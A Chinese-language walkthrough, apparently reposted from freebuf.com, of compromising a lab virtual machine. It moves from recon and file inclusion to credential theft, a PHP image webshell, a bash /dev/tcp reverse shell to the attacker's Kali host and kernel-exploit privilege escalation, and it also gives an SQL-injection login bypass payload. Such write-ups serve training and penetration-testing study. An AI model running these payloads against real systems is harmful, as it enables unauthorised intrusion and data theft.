一、信息收集
使用nmap或netdiscover扫描确定其ip
访问其80端口
发现是一个登入界面,使用御剑后台扫描工具和kali的dirb扫描网站目录
御剑扫描结果:
dirb扫描结果:
现在收集到的信息有:
http://192.168.220.143/add.php文件上传
http://192.168.220.143/in/ phpinfo()
http://192.168.220.143/phpmyphpMyAdmin
http://192.168.220.143/test文件包含
二、漏洞利用
文件包含
访问192.168.220.143/test.php使用brup抓包
将请求方法改为post
在Params中加参数file和对应的内容
单包发送,得到对应文件的内容
证明该页面存在文件包含漏洞,查看c.php(猜测可能是配置文件)
得到数据库连接用户名密码,在phpMyAdmin页面使用用户名密码登入
成功登入,得到登入web界面的用户名密码
成功登入web界面
文件上传漏洞
选择添加用户,发现可以上传文件,开始上传一句话图片木马
访问http://192.168.220.143/panel.php?1=phpinfo(); 使用brup抓包,修改load参数为图片地址
使用一句话木马反弹shell
发现成功显示了phpinfo() ,说明可以反弹shell
使用brup的编码模块对echo ‘bash -i >& /dev/tcp/192.168.220.146/4444 0>&1’ | bash进行url编码
注意:ip是kali的ip,端口是监听的端口,要写单引号
在kali中开启监听
使用burp构造payload,点击Go访问
注意:url编码的代码要加到system(“”);里
成功反弹shell
三、权限提升
查看那个目录有写权限,打算写一个一句话木马
进入uploaded_images目录,写木马
拿到webshell,查看系统和内核版本
ubuntu 12.04 –> 37293.c提权
使用kali的searchsploit命令搜索提权代码,使用37292.c提权,下载文件到kali
然后拷贝到真机,绕后通过菜刀上传到目标机器
编译提权文件
执行编译后的执行文件,成功提权到root权限
其他思路:
一、走ssh
爆破phpmy目录下的文件
使用文件包含漏洞,查看config.inc.php文件内容
可以看到账号密码,直接使用此账号密码ssh连接目标主机,拿到root权限
二、sql注入登入网站
使用文件包含漏洞查看index.php源码,分析其过滤规则,然后构造payload绕过
最后测试出uname=or 1=1# pass=\ 能成功登入
加 \ 号是为了让后面的unmae逃逸出来,使用此payload的后的sql语句:
select * from auth where pass=’\’ and uname=’ or 1=1#’
来源:freebuf.com 2020-11-03 02:05:27 by: cloudcoll
请登录后发表评论
注册